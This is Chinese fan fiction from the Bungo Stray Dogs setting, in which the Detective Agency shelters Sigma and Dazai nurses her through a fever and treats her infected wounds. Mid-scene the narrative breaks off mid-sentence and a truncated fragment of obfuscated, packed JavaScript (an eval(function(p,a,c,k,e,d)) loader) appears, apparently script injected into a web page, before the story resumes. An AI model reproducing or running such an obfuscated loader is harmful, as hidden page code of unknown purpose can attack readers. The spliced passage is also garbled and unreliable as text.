江户川乱步捕捉到这一变化,镜片后的眸光微微一亮。 那点不悦瞬间烟消云散,嘴角重新勾起上扬的弧度。 喜欢我的眼睛,四舍五入不就是喜欢我本人吗? 这么一想,江户川乱步镜片后的眸光都亮了几分,计较什么的,自然是没必要了。 他甚至心情颇好地往前凑了凑,翠绿的眼睛直视着西格玛,语气随意又带着点理所当然的亲近:“对了,不用叫我‘乱步先生’。” 他皱了皱鼻子,似乎对那个敬称有点嫌弃,“‘乱步先生’听起来太远了。叫我乱步就好。” 西格玛看着他近在咫尺的、生机勃勃的翠色眼眸,轻轻点了点头。“……乱步。” 她低声重复,这个名字从她口中念出,带着一丝生涩,却又奇异地自然。 这时,太宰治简单说明了与谢野晶子被政府临时抽调去治疗已被控制的福地樱痴的情况。 西格玛放在膝上的手几不可察地蜷缩了一下,但并未多言。 江户川乱步接过话头,语气恢复了平时的明快,但内容却直指核心:“费奥多尔在机场说了哦,‘要感谢西格玛’,‘照顾好我的西格玛’。” 他歪着头,观察西格玛的反应,“因为你,那家伙临时改了剧本,虽然不知道原剧本多糟糕,但现在这样……” 他瞥了一眼福泽谕吉,“至少社长不用面对更棘手的局面,那个麻烦的大叔也暂时退场了。” 西格玛的瞳孔微微收缩。 “我……不明白。” 她的声音干涩,“我什么也没做。” “有时候,‘存在’本身,就是最关键的变量。” 福泽谕吉缓缓开口,他的目光沉稳地落在西格玛身上,那份纯净与尚未被完全定义的“空白”,或许正是吸引费奥多尔那种存在的特质。 “尤其是在特定的人眼中。” 接下来的商议过程,与之前类似,但氛围因这次面对面的观察而更加具体。 江户川乱步条理清晰地分析了收留西格玛的利弊——可控、避免被其他势力利用、人道救助、也是应对费奥多尔“标记”的务实之举。 太宰治安静地听着,手指在桌面上无声轻点。 福泽谕吉在沉默的权衡后,做出了决定。 他的话语清晰、直接,带着不容置疑的重量:“西格玛小姐,基于侦探社的宗旨,基于你对当前事件的核心关联,也基于你自身的状况……在查明一切、确保你康复之前,武装侦探社会暂时为你提供庇护。” 他看着西格玛骤然抬起的、带着难以置信的眼眸,给出了那个简单而有力的理由:“因为这是正确的事。” 西格玛彻底愣住了。盘问、监视、交换、驱逐……她想过许多可能,唯独没想过这样一句沉重而纯粹的“收留”。 “……为什么?”她几乎是本能地追问。 “因为这是正确的事。”福泽谕吉重复道,语气没有丝毫动摇,“也是对横滨现状负责的方式。” 江户川乱步在一旁,不知何时又拆开了一包新的零食,咔嚓咔嚓地吃着,含糊道:“好啦,定下来了。等与谢野回来你就解脱了。至于别的嘛……” 他翠绿的眼睛弯了弯,“日子还长,慢慢来。” 太宰治站起身,走到西格玛身边,轻轻拍了拍她的肩膀,动作自然而熟稔。 “听到了?那么,在与谢也医生回来前,就继续暂时由我照看咯?” 他看向福泽谕吉,后者微微颔首。 西格玛的目光缓缓掠过眼前的三人——威严而令人心安的社长,敏锐又带着奇特亲近感的乱步,以及这个将她带离深渊、此刻站在她身侧的男人。 横滨午后的阳光,侦探社沉稳的空气,身上外套残留的、来自另一份短暂善意的温度,还有这句掷地有声的“可以留下”…… 新的漩涡仍在脚下盘旋,未来的阴霾并未散去。 但此刻,她仿佛触碰到了一根坚实的缆绳,一个具体而温暖的坐标。 西格玛低下头,又缓缓抬起,淡粉色的眼眸中情绪翻涌,最终化为一声极轻、却清晰无比的: “……谢谢。” —————— 从武装侦探社回到公寓的那段路,在事后回想起来,对太宰治而言,印象变得有些模糊。 只记得身边的西格玛异常安静,脚步比来时更虚浮,苍白的面颊上那抹病态的红晕似乎更深了些。 她几乎没说话,只是跟着他走,淡粉色的眼眸半垂着,长长的睫毛在眼下投出疲惫的阴影,仿佛全部的精神都用来维持身体的平衡和前进的指令。 太宰治偶尔侧目看她,能察觉到她呼吸的微促和额角细密的冷汗。 他知道她在硬撑,从下飞机见到森鸥外开始,或许更早,从默索尔逃出时,那根名为“求生”的弦就绷到了极限。 而刚才在侦探社,面对社长沉凝的审视和江户川乱步穿透般的目光,面对那个突如其来的、带着重量的“收留”决定,那根弦承受了最后的、复杂的压力——有安心,有茫然,或许还有一丝不敢置信的松弛前兆。 但他没料到崩溃会来得这么快,这么彻底。 走到公寓门口,太宰治习惯性地从风衣口袋掏出钥匙,金属碰撞发出轻微的叮当声。 他一边低头找着正确的钥匙,一边随口说道:“到了,先好好休息……” 话音未落。 太宰治刚把钥匙插进锁孔,还没转动,眼角的余光就瞥见一直安静站在身侧的影子,毫无预兆地倾斜、软倒。 不是踉跄,是彻底的、意识抽离般的倾倒,朝着他的方向。 太宰治的反应快得惊人。 几乎在西格玛身体失去力道的瞬间,他松开了钥匙,猛地转身,手臂迅捷而稳妥地一揽,正好接住了她栽倒的上半身。 她的额头无力地抵在他的肩窝,全身的重量骤然压过来,轻得让他心里一沉。 “西格玛?” 没有回应。怀中的身体软绵绵的,只有隔着衣物传来的、异常灼热的体温,和微弱却急促的呼吸。 一直紧绷的弦,终于断了。 在确认了“可以留下”之后,在回到这个暂定的“容身之处”门口的瞬间,强撑的意识毫不犹豫地选择了关机,将一切痛苦和虚弱彻底交还给了身体。 太宰治低头,看着怀中人紧闭的双眼,长睫濡湿,不知是冷汗还是别的什么。 她脸上的红潮在走廊的光线下显得更加触目惊心。 “这下可麻烦了……”他低语,声音里听不出太多情绪,但手臂却收得更稳了些。 太宰治没有试图唤醒她,那毫无意义。 唤醒一个被高烧和疲惫击垮的意识,除了增加她的痛苦和茫然,没有任何益处。 他一手穿过她的膝弯,另一只手小心地环住她的背部和肩头,尽量避开她腹部伤口的位置,用一个平稳的公主抱将她整个人抱了起来。 她很轻,抱在怀里几乎感觉不到什么重量,像一片随时会消散的羽毛。 只有那透过衣物传来的、异常滚烫的温度,以及身体柔软无骨般倚靠着他的触感,异常清晰地烙印在感官上。 这感觉有些陌生。 他并非没有抱过人或被依靠过,但此刻,怀中这个生命如此脆弱,全然交付,与他过往经历中那些掺杂着算计、力量或死亡的接触截然不同。 太轻了,轻得让人……不得不小心。 这个念头一闪而过。 太宰治用脚勾开并未锁死的房门,抱着西格玛走进公寓。 他径直走向自己的卧室,动作轻柔地将她放在那张不算宽敞的单人床上。 太宰治先弯下腰,小心地帮她脱掉了鞋子,露出苍白的脚踝。 接着,他帮她脱掉了身上那件中原中也的棕色外套,随手放在一旁。 然后拉过被子,只盖到西格玛的腰间,避免压迫可能的伤口或加剧她的燥热。 做完这些,太宰治站在床边,静静地看了她几秒。 床头的灯光柔和地照亮西格玛的脸。 昏睡中,她眉头微微蹙着,似乎并不安稳,仿佛在梦中也无法逃脱痛苦。 因为高烧,刚刚在侦探社略显苍白的脸色又变得绯红,甚至比之前更甚,像晚霞烧透的云,带着一种脆弱而惊心的艳丽。 这种艳丽毫不张扬,却因她的毫无意识和病态,反而透出一股令人屏息、又隐隐不安的美。 美丽在这种时候,反而成了负担的注脚。 他冷静地评判着,轻轻移开了视线。 不能再拖了。 太宰治转身走出卧室,很快从客厅某个抽屉里找出了家庭常备的医药箱,翻出了退烧药。 他倒了杯温水,重新回到床边。 “西格玛,”太宰治坐在床沿,伸出手,轻轻摸了摸她的脸颊,触手一片滚烫,细腻的皮肤下是汹涌的热度。 这温度让太宰治微微蹙眉。 “醒一醒,把药吃了。” 他的声音不高,但足够清晰,试图穿透她意识的重重迷雾。 西格玛的睫毛颤动了几下,像挣扎欲飞的蝶,艰难地睁开一条缝。 淡粉色的眼眸里雾气氤氲,空洞地映出他的轮廓,毫无焦距,显然并未真正清醒,只是被本能或外界的干扰拉回了一丝模糊的边缘。 “张嘴。”太宰治将一颗药片递到她唇边。 他的目光落在她干燥起皮的嘴唇上,静静地等待。 西格玛呆呆地看着他,又或者什么都没看,眼神空茫得像失去了信号的屏幕。 过了几秒,她才依循着最基础的指令,微微张开了苍白的嘴唇,露出一小截同样缺乏血色的舌尖。 太宰治将药片放进她口中。 指尖不可避免地轻轻擦过她下唇的肌肤,柔软而滚烫。 她立刻合上嘴,却又愣愣地含着药片,不知道下一步该做什么,只是用那双蒙着水雾的粉眸茫然地望着他,仿佛在等待下一个指令。 那眼神里是全然的空白和依赖,剥离了所有平日的警惕或疏离。 ……像只迷失的幼兽。 这个比喻突兀地跳入脑海。 太宰治抿了抿唇,压下心中那点因这全然依赖而生的、难以言喻的微妙感觉。 “……咽下去,用水送。” 太宰治耐心地引导,将水杯边缘轻轻抵住她的下唇。 西格玛这才就着他的手,小口地喝了一点水,喉头滚动,费力地将药片吞了下去。 整个过程她像个懵懂的孩子,任由摆布,眼神空茫而依赖。 喂完药,太宰治放下水杯,又去了洗手间。 冷水哗哗流淌,他掬起一捧拍在脸上,短暂的凉意让他更清醒了些。 随后太宰治拿来一条干净的毛巾,用冷水浸湿,仔细拧干,折成合适的大小,然后回到床边,轻轻地敷在西格玛滚烫的额头上。 冰凉的触感似乎让她舒服了一些,紧蹙的眉头稍稍舒展,发出了一声几不可闻的、类似叹息的微弱气音。 太宰治就坐在床边的椅子上,没有离开。 他知道高烧不会那么快退下去。 他隔一段时间就起身,去洗手间重新过冷水,拧干,替换掉她额头上已经变得温热的毛巾。 动作熟练而沉默,仿佛在做一件再寻常不过的事情。 房间里只剩下他轻微的脚步声、水龙头偶尔的响动,以及西格玛不太平稳的呼吸声。 在这反复的、单调的照料间隙,他忽然听到了一声极其细微的呜咽。 是从西格玛唇边溢出的。 不是哭泣,更像是无意识的、因为身体难受而发出的细小呻吟。 轻轻的,软软的,带着高热中的模糊不清,像脆弱的小动物在寒冷中蜷缩时发出的声音,无端地透着一股惹人怜爱的委屈。 太宰治换毛巾的动作顿了顿。 他低头,看向床上昏睡的人。 毛巾滑落了一点,露出她光洁的额头和烧得通红的脸颊。 几缕半白半紫的发丝被汗水濡湿,贴在肌肤上。 太宰治伸手,指尖悬在她的鬓角上方片刻,才轻轻落下,小心翼翼地将那些黏腻的湿发拨开。 然后拿起替换下来的温毛巾,动作比之前更加轻柔地,一点一点擦拭着她汗湿的鬓角和脸颊。 指尖偶尔划过她细腻却烫人的皮肤,那惊人的热度透过指腹传来,让他的动作又放轻了几分。 窗外,横滨的夜幕缓缓降临,城市的灯火次第亮起,光芒透过窗帘的缝隙,在昏暗的卧室地板上投下狭长的光斑。 太宰治就在这明暗交替的寂静里,守着床上高烧昏睡的人,一遍遍换着冷毛巾,听着她偶尔难受的呜咽。 怎么能这么惹人怜爱呢? 他的目光不自觉地落下,落在她因发烧而干燥起皮的嘴唇上。 唇瓣泛着淡淡的白,唇角还微微抿着,像藏着未说出口的委屈。 又落在她即使昏睡也难掩精致美丽的眉眼间,长睫安静垂着,眉峰却依旧拧着一丝浅浅的褶皱,连睡梦中都卸不下那份脆弱。 良久,他喉结轻轻滚动了一下,用只有自己能听到的、近乎气音的声音,轻轻说了一句: “要快点好起来啊,西格玛。” 时间在寂静与重复的照料中缓慢流淌。 太宰治又一次换下变得温热的毛巾时,指尖无意中碰到了西格玛颈侧的皮肤。 那灼烫的温度依旧,甚至比额头更甚。 他蹙起眉,目光落在她微微敞开的衬衫领口下,那片因为高烧而泛着不正常红晕的锁骨肌肤。 不仅如此,他敏锐地捕捉到一丝极淡的、不同于汗水的微妙气味。 一种隐隐的、不太好闻的腥气,混合在退烧药和冷水的清新之间。 ——伤口。 他立刻想到了她腹部的伤。 在默索尔那种混乱环境下做的紧急处理,又经历了长途颠簸和精神的高度紧张,伤口极有可能已经发炎甚至感染,这正是高烧反复不退、来势汹汹的主要原因。 只是清理额头降温远远不够,必须处理伤口本身。 太宰治放下毛巾,起身去医药箱里翻找。 碘伏,生理盐水,无菌纱布,医用胶带……东西还算齐全。 他拿着这些东西回到床边,看着床上昏沉却因不适微微扭动的人影。 需要解开她的衣服,检查并重新处理伤口。 这显然超出了普通“照顾”的范畴。 太宰治在床沿坐下,静默了片刻。 然后,他俯下身,靠近西格玛耳边。 用了一种比之前更加低沉、更加缓和的语调,一字一句,清晰而温和地说: “西格玛,听得到吗?” “你伤口可能发炎了,一直在发烧。” “我现在需要帮你检查一下,重新上药。” “可能会碰到你,需要把你的衣服解开一点。” “别怕,很快就好了。” 他的声音像是带着某种安抚的魔力,穿透了高烧带来的混沌屏障。 西格玛烧得迷迷糊糊,大部分意识都沉在黑暗与灼热交织的深海。 但那个熟悉的声音,用一种前所未有的、近乎哄劝的温柔语气钻进耳朵,让她挣扎着掀开了一丝眼缝。 淡粉色的眼眸水汽氤氲,茫然地映出太宰治靠近的脸。 她似乎理解了“检查伤口”、“上药”这些词,也或许只是单纯地听从了那个让她感到一丝安心声音的指引。 在太宰治略微惊讶的目光中,西格玛微微动了动被被子盖住的手,然后非常缓慢地、有些笨拙地,开始摸索自己衬衫的纽扣。 一颗,两颗…… 她的动作没什么力气,指尖也在发颤,但确确实实是在自己动手。 仿佛用尽最后一点清醒的意识,在执行“配合治疗”这个指令。 太宰治没有阻止,只是静静地看着,随时准备在她无力时接手。 很快,衬衫的前襟被她自己解开了。 略显宽大的布料向两侧滑开,露出了里面包裹的躯体。 白皙得近乎透明的肌肤因高热染上一层薄红,黑色的文胸勾勒出丰盈的曲线,在灯光下呈现出一种惊人的、属于成熟女性的柔软轮廓。 而更触目惊心的是腰腹间缠绕的、已经微微渗出不详黄褐色痕迹的绷带,以及胸口附近另一处同样包扎着的地方。 脆弱与伤痕,与这种毫无防备的、甚至带着某种冲击力的美丽,以一种近乎残酷的方式同时展现在他眼前。 太宰治的眼神沉静如水,将所有翻腾的思绪死死压在那片深邃的鸢色之下。 他命令自己忽略那近在咫尺的温润肌肤曲线,忽略黑色织物边缘透出的、更为柔软丰腴的阴影,忽略她因为不适而微微起伏的胸口。 那会让包扎变得困难。 他的视线必须、也只能集中在伤口上。 ……我也是个正常男性啊。 太宰治无奈的叹息落在心底。 视觉与近距 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“很快,很快就好了。”太宰治的声音就在她耳边,依然是那种哄孩子般的耐心语调,手上的动作却精准而迅速,没有丝毫拖泥带水。 他快速而细致地完成了腹部的消毒,又用生理盐水棉球清理掉多余的碘伏和分泌物,然后敷上新的无菌纱布,用胶带妥善固定。 每一个步骤都标准无误,但他的呼吸却在不自觉中放缓了频率。 胸口的伤处理过程也类似,甚至更……考验人。 西格玛在刺痛中发出小猫似的、断断续续的呜咽,额头渗出更多冷汗,身体微微发抖。 太宰治必须更加靠近,视线和手指都不可避免地扫过那片被黑色蕾丝包裹的、随着呼吸和呜咽起伏的柔软边缘。 消毒水的刺鼻气味中,似乎隐隐混入了一丝属于她的、带着高热湿气的微妙体香,萦绕在鼻尖。 太宰治一边手下不停,一边用那种平稳的、令人安心的话语低声安抚:“好了,这里也马上好……嗯,忍一忍,我知道有点疼……很快就不痛了……” 他的动作专业得不像是□□前干部,倒像个训练有素的医护。 事实上,在港口□□时期,处理各种伤口对太宰治来说早已是家常便饭,只是此刻的对象和心境,与往日截然不同。 当最后一截绷带缠好,太宰治轻轻拉过被子,重新盖到西格玛的肩膀,严严实实地遮住了所有刚才裸露的风景,只留下她烧得通红的脸颊。 西格玛似乎耗尽了最后一点力气,呜咽声渐渐低了下去,只剩下沉重而滚烫的呼吸。 但眉头似乎比之前舒展了一些,或许是因为难受的源头得到了处理,又或许是因为那持续不断的、温和声音的安抚。 太宰治收拾好药品和用过的废弃物,去洗手间仔细清洗了双手。 冰凉的水流过手指,也带走了指尖残留的、属于她肌肤的触感和温度。 太宰治看着镜中的自己,鸢色的眼眸深处平静无波,方才所有的内心交锋都被完美地隐藏在表象之下。 回到卧室时,他再次试了试西格玛额头的温度,依旧烫手,但希望能随着消炎药物的作用和伤口处理而慢慢减退。 太宰治重新拧了冷毛巾,轻轻敷在她额上,然后坐回那把椅子里。 窗外夜色已深,横滨的灯火依旧璀璨,却仿佛被隔绝在了这间弥漫着淡淡药水味和沉重呼吸声的卧室之外。 他看着床上昏睡的人,看着她因为难受而微微噘起的、干燥的嘴唇,看着她即使狼狈至此,也难掩的美丽轮廓。 一种极其复杂的情绪,悄然漫过心底。 并非算计,并非单纯的兴味,而是一种更加具体、更加沉重的……责任? 或者说,是一种目睹了极致脆弱后,自然而然产生的、想要守护其不至于彻底破碎的微妙牵绊。 太宰治拿起水杯,用棉签沾湿,轻轻润湿她干裂的唇瓣。 “睡吧,”他低声说,像是一个承诺,又像是一句叹息,“会好起来的。” 夜色在冷毛巾的反复浸润和渐沉的呼吸声中,愈发浓稠。 太宰治安静地坐在床边的椅子上,时间在寂静和重复的动作里被拉得很长很长。 他维持着一个并不算舒适的姿势,手肘支在膝头,目光始终落在西格玛的脸上,近乎一种沉静的凝望。 退烧药和伤口处理似乎带来了一丝微弱的安抚,让她陷入了稍深一些的睡眠,却绝非安宁。 她的眼睫仍旧不时颤动,像风中的残羽,眉心时而拧起细微的褶皱,仿佛在梦中依旧跋涉于某片灼热的荒原。 干燥的嘴唇微微开合,吐出短促而灼热的气息,偶尔夹杂着一两声含混不清的呓语,是太宰治听不懂的音节,或许是俄语,或许只是高热中的混沌呻吟。 墙上的时钟指针,在寂静中划过一格又一格,发出几乎听不见的机械嗡鸣。 四个小时了。 太宰治的目光从她脸上移开,落到时钟上,又移回来。 他起身,动作轻缓地从医药箱里取出电子体温仪。 冰凉的探头轻轻贴在西格玛的耳后,“滴”声轻响,在过分安静的房间里显得格外清晰。 屏幕上的数字跳动着,最终定格在一个令人无法忽视的高度。 还在烧,而且不低。 必须再吃一次退烧药了。 太宰治重新拿出退烧药,倒好温水。 他回到床边,俯身轻声唤她:“西格玛,醒一醒,该吃药了。” 这一次,西格玛的反应更加迟钝。她只是艰难地掀开一点眼缝,淡粉色的眼眸里雾气浓重,几乎找不到焦距,只剩下高热灼烧下的迷茫和生理性的泪水。 她似乎听不见,或者无法理解他的话,只是本能地因为不适而微微偏头躲避。 “西格玛?”太宰治又唤了一声,指尖轻轻碰了碰她烫红的脸颊。 她喉咙里发出一点含糊的呜咽,像是回应,又像是纯粹的难受。 看来指望她自己配合吃药不太可能了。 也许是持续的炎症消耗太大,也许是紧绷的神经彻底崩塌后的反噬,西格玛的意识似乎沉入了更深的泥沼。 太宰治沉默地看了她两秒,忽然低低地、近乎自语般说了一句,声音轻得像叹息,却带着某种难以言喻的复杂意味: “你啊……可是我第一个这么照顾过的人。” 他将水杯和药片暂时搁在床头柜上,随即在床沿坐下,一只手绕过西格玛汗湿的颈后,掌心小心地托住她的后脑。 触手所及,是异常滚烫的温度,还有柔滑贴肤的发丝。 他的动作稳定而轻柔,带着一种不容置喙的仔细,缓缓将她的上半身从枕头上揽起,让她无力地侧靠进自己怀里。 西格玛的脑袋软软垂下,恰好抵在他温热的脖颈肩窝处。 滚烫的呼吸喷洒在他的皮肤上,带来一阵细微的痒意,还有灼人的热度。 这个姿势比单纯躺着更容易喂药,也更……亲密。 肌肤相贴的面积骤然增大,她全身的重量与热度,毫无隔阂地传递过来。 太宰治调整了一下手臂的支撑,让她靠得更稳。 这个拥抱的姿势,让他有了瞬间的怔忡。 太近了。 近到他能数清她颤抖的睫毛,近到她每一次痛苦的呼吸都清晰可闻,近到他的脖颈能感受到她嘴唇无意间擦过的柔软与干燥。 他用空着的那只手重新拿起药片,指尖轻轻碰了碰她干裂的下唇。 “张嘴,吃药。” 他的声音就在她耳边,比刚才更清晰,带着不容拒绝的温和力道。 或许是姿势改变带来的些微清醒,或许是那近在咫尺的声音终于穿透了高热的迷雾,西格玛茫然地张开了嘴。 太宰治迅速将药片放入她口中,紧接着拿起水杯,小心地倾斜杯沿,让温水缓缓流入她的唇齿间。 “咽下去。”他低声引导,手指轻轻抚了抚她的喉咙。 西格玛昏昏沉沉地照做,喉头滚动,将药和水一起吞了下去。 喂完药,太宰治没有立刻放开她,依旧维持着这个拥抱的姿势,让她靠在自己肩头缓气。 指尖轻轻虚扶着她的后背,确认她没有呛咳,也没有要将药吐出来的迹象。 怀里的人比看起来更加纤细单薄,隔着被子和衣物也能感受到那份羸弱。 高热让她像个小小的火炉,却莫名地让人舍不得放开。 西格玛身上淡淡的药味、微微的湿意,混杂着她自身独有的、冷冽中裹着柔软的气息,丝丝缕缕缠绕在鼻尖,填满了太宰治的感官。 他垂眸看了眼肩头昏沉的人,睫毛轻颤,随即目光不自觉飘向窗外。 横滨的夜空没有全然沉在黑暗里,远处城市霓虹的光晕漫过来,与近处的月光交织成一片朦胧的亮。 视线尽头,一弯弦月悬在天幕,清辉皎洁,正慵懒地倚靠在一片薄薄的云絮旁。 云朵被月光镶上了一层柔和的银边,温柔地承托着月亮的重量。 月亮把头靠在云上。 这个无意间掠过的画面,让太宰治微微一怔。 随即,一丝极淡的、几乎难以捕捉的笑意,轻轻攀上他的嘴角。 和他现在一样。 他刚刚,也让一颗烧得迷迷糊糊、无所依凭的“月亮”,暂时靠在了自己这片算不上柔软、甚至可能同样危险的“云”上。 这个比喻带着几分荒谬,却又奇异地贴切。 太宰治静静等候着,感受着肩头的重量渐渐平稳,西格玛的呼吸从急促趋于缓和,最终变得绵长而均匀。 直到确认她的气息彻底平稳,太宰治才缓缓直起身,小心翼翼地将她从肩头移开,一点点扶着她的肩,将她平稳地放平在床上。 他俯身,细心地拉过被子,沿着她的身侧轻轻掖好边角,连一丝可能漏风的缝隙都未曾留下,避免夜风侵袭。 西格玛眉头依旧微微蹙着,像是在昏睡中也藏着不安,却已耗尽了所有气力,沉入了更深的昏睡。 太宰治直起身时,下意识地又朝窗外望了一眼。 方才那片温柔承托着弦月的云絮,已经顺着风势缓缓飘向了夜空深处,轮廓渐渐淡去、消融,最终彻底不见踪影。 只留下那弯弦月孤零零悬在天幕,清辉依旧,静静地照着横滨的夜色,也透过窗棂,落进这间小小的卧室,在他脚边投下一小片清冷的光斑。 太宰治收回目光,重新落回床上的西格玛身上。 月光下,她的睡颜似乎比方才安宁了一点点,眉宇间的紧绷稍稍舒展。 太宰治指尖无意识地摩挲了一下方才被她倚靠过的肩头,那里仿佛还残留着一丝微弱的温度。 他转身坐回床边的椅子,指尖搭在冰冷的扶手上,目光始终未离开西格玛的睡颜。 夜还很长,高热的战役尚未结束。 他就这样坐着,继续着这份沉默而持续的守望。 月光静静淌进病房,落在两人之间,如同无声流淌的时间,漫过被子的褶皱,也漫过太宰治眼底未明的情绪。 24. 早晨 后半夜,体温的战场终于从灼人的高热,退守到一种更温和却也更磨人的低烧。 西格玛的体温稳定在一个低烧的刻度,不再惊心动魄地攀升,却依旧顽固地消耗着她的精力。 她侧躺着,身体本能地蜷缩,仿佛这个姿势能保护最柔软的腹部,额头几乎要抵到坐在床边的人的腿侧,浅色长发汗湿地贴在颈边。 太宰治一直没有离开。 他保持着那个并不舒适的坐姿,撑着脸颊的手肘抵在膝头,另一只手垂在身侧,指尖无意识地微微蜷着。 房间里只有窗外未褪尽的夜色,和他平稳得几乎没有存在感的呼吸。 他低下头,目光落在西格玛近在咫尺的睡颜上。 高烧带来的潮红褪去大半,留下一种脆弱的苍白,嘴唇干裂,眼睫被细密的汗濡湿,黏成了几小簇。 他伸出手,指尖在空中悬停了一瞬,终于轻轻落下,拨开她颊边一缕黏湿的发丝。 动作很轻,像触碰易碎的泡沫。 在那点微凉的触感落下去时,西格玛无意识地往他腿边蹭了蹭,像只寻着热源的小猫,呼吸浅浅地拂过他的裤料。 太宰治的指尖顿住,垂眸看着她鬓角汗湿的绒毛。 心底忽然漫上来一阵极淡的、近乎陌生的柔软。 他没再动,就那样垂着手,任由她的额头抵着自己的膝盖。 窗外的夜色渐渐泛起浅灰,有晨鸟的啼鸣隐约传来。 西格玛感觉自己沉在昏昏沉沉的海底,意识像散落的光斑,时而聚拢,时而飘远。 一些模糊的碎片掠过,冰冷的河水,滚烫的额头,消毒水的气味,还有持续不断的、低缓的说话声。 然后,那股托着她的浮力消失了,她缓缓下沉,意识触到了结实的底部。 眼睫先是细微地颤动,如同被风吹动的蝶翼,挣扎了几下,终于掀开。 视线起初是模糊的,只能看到一片砂色的、近在咫尺的布料轮廓。 西格玛缓慢地眨了下眼。 涣散的焦距努力凝聚,沿着那片砂色向上移动。 掠过风衣的褶皱,再往上是袖口露出的手腕,腕骨线条清晰柔和。 然后看清那只撑着脸颊的手,修长的手指微微蜷着。 最后,对上了那双正注视着她的、鸢色的眼睛。 太宰治在她完全睁开眼的那一刻,嘴角已经习惯性地扬起那抹轻巧的弧度,仿佛刚才长久的凝望只是她的错觉。 “呀,”他开口,声音带着一点刚醒似的微哑,却又立刻恢复了惯常那种轻巧的、仿佛对一切都不甚在意的语调,“怎么样?感觉如何?” 意识像生锈的齿轮,缓慢转动。 西格玛愣愣地看着他,高烧后的空白感笼罩着她,让她一时说不出话。 但记忆的碎片逐渐拼合,滚烫混沌中不间断的照料,冰凉的毛巾,温和到近乎陌生的低语,还有……一些更模糊的、关于触碰和依赖的片段。 那些片段让她耳根微微发热,但此刻占据她全部思维的,是一种劫后余生般的虚脱,以及随之涌上的、纯粹的谢意。 是他。一直在这里。照顾着如此狼狈的自己。 干裂的嘴唇动了动,她听到自己嘶哑微弱的声音:“……谢谢。” 太宰治嘴角弯起一个弧度,笑意却没怎么渗入眼底,仿佛那只是一个习惯性的表情。 “你没事,”他说,语气轻松得像在谈论天气,“就是对我来说最大的好事了。” 太宰治站起身,伸展了一下有些僵硬的肩膀,走到窗边拉开了窗帘一角。 清冷的、属于第二日清晨的灰白光线流淌进来,驱散了房间里残存的夜气,也在地板上投下一道狭长的光影。 “出了一身汗,黏腻腻的很难受吧?应该洗个热水澡。” 太宰治转过身,晨光在他身后勾勒出一圈朦胧的光边。 他的目光平静地扫过她腰间被子覆盖的位置,“但伤口还不能沾水,用热水好好擦擦身子,会舒服很多。” 太宰治走向衣柜,打开,从一堆相似的浅色衬衫里随意抽出一件,走回来递给她。 “擦完换上这个。我的,干净的。” 语气自然得仿佛在递一杯水。 是他的衬衫。柔软的棉质布料,折叠整齐,散发着洗涤剂干净的淡香。 西格玛接过,指尖触到布料的那一瞬间,无意识地微微蜷缩。 布料很软,贴在皮肤上带着微微的凉意。 在经历了那些滚烫的煎熬、狼狈的虚弱之后,这点微不足道的羞赧,似乎都显得多余而奢侈。 西格玛只是点了点头,将衬衫拿得更紧了些。 “与谢野医生已经在侦探社了,”太宰治继续说着安排,走到小厨房区域,打开冰箱,“她是最好的医生,等会儿带你去让她看看,彻底放心。现在,先吃早饭,你需要能量。” 冰箱门合上的声音,平底锅放在灶台上的轻响,燃气灶打火的咔哒声。 一连串细碎的响动在安静的房间里漾开。 很快,冷冻煎饺在热油中发出的滋啦声充满了小小的空间,随之而来的是焦香和味增汤渐渐煮沸的、温暖咸鲜的气味。 太宰治背对着她,砂色风衣的袖子挽到手肘,露出线条流畅的小臂,动作算不上熟练,却也从容不迫。 油星偶尔溅起,他便微微侧身避开,侧脸在晨光里显得格外柔和。 西格玛拿着那件干净的衬衫,又在床上静静地坐了一会儿。 身体深处依旧泛着酸痛,尤其是腰侧的伤口,在动作时传来清晰的、带着钝感的刺痛。 她低头,看着自己敞开的衣襟。 昨夜为了处理伤口,是她自己把衣服解开了。 目光落在胸口和腰腹已经换过的干净包扎上,西格玛没去多想,也没去多说。 她只是抬手,一颗一颗地将扣子重新系好,直到领口严实地合拢,遮蔽了其下包裹着绷带的肌肤。 每动一下,腰侧都牵扯着疼,西格玛微微蹙眉,又很快放松下去。 然后,她慢慢掀开被子,踩上微凉的地板,扶着床沿站稳,适应了片刻眩晕感。 身体还有些晃,但比昨夜好多了。 她的目光不由自主地飘向玄关处的衣架。那件染血的外套,还孤零零地挂在那里。 西格玛走过去,伸手取下。 左侧腰腹处,布料被撕裂开一个狰狞的破洞,周围是大片干涸成深褐色的血迹, 那是费奥多尔的匕首留下的印记。 西格玛的视线没有在那片污浊上停留,面无表情地将手指径直探向胸口内侧。 那里有一个暗袋。 暗袋中间,一道细密整齐的缝补痕迹横贯其上。 那是更早之前,在天空赌场,同样来自费奥多尔的伤,由她自己亲手缝补。 指尖探入暗袋内侧,触到了两张叠放在一起的纸片。一张硬挺,边缘清晰。另一张则柔软单薄,浸透了某种液体,几乎要与内衬的布料黏在一起。 她先抽出了那张硬挺的。 是那张照片。即使在清晨寡淡的光线下,照片上两个孩童毫无阴霾的灿烂笑脸,依然有着灼人的力量。 只是正中间,那道笔直深刻的裂痕,像一道无法愈合的丑陋伤疤,将原本紧紧依偎的两个小小身影,残忍地割裂开来。 裂痕穿过他们的身体,将他们分隔在无法跨越、无法触及的两个世界。 西格玛怔怔地看着。 她的目光落在那两个孩子的笑脸上,指尖无意识地、极其轻微地颤抖着,抚过相纸光滑的表面,划过那道凸起的裂痕边缘。 那笑容如此真实,带着穿透时光的暖意,却又被那道冰冷的沟壑隔绝,变成了挂在记忆悬崖边的、遥不可及的幻影。 西格玛看了很久,久到厨房里传来盘子轻放在桌上的声音。 终于,她像是下定了某种决心,动作极轻,将照片小心的放进了裤子一侧的口袋里。 然后,她才拿出另一张纸片。 是那张车票。 印着“世界上不存在的地方”的车票。 此刻,它几乎被深褐色的血迹完全浸透,字迹模糊成一团,只剩下一个大概的票根形状,还萦绕着浓郁刺鼻的血腥气。 西格玛垂眸看着它,眼神空洞,脸上没有任何表情,仿佛手里拿着的只是一张被雨水打烂的废纸,与己无关,与任何情绪无关。 几秒钟后,她同样将它塞进了同一个口袋。 照片在上,车票在下,两张轻薄的纸片叠在一起,贴着大腿外侧,只隔着一层薄薄的衣料。 她将染血的外套重新挂回衣架,然后拿着那件干净的衬衫,走进了浴室。 关上门,隔绝了厨房的声响和食物的香气。 浴室里还残留着昨夜消毒水若有若无的气味,混合着潮湿的水汽。 西格玛在狭窄的空间里站定,面对着镜子里那个面色苍白、眼神疲惫空洞的女人。 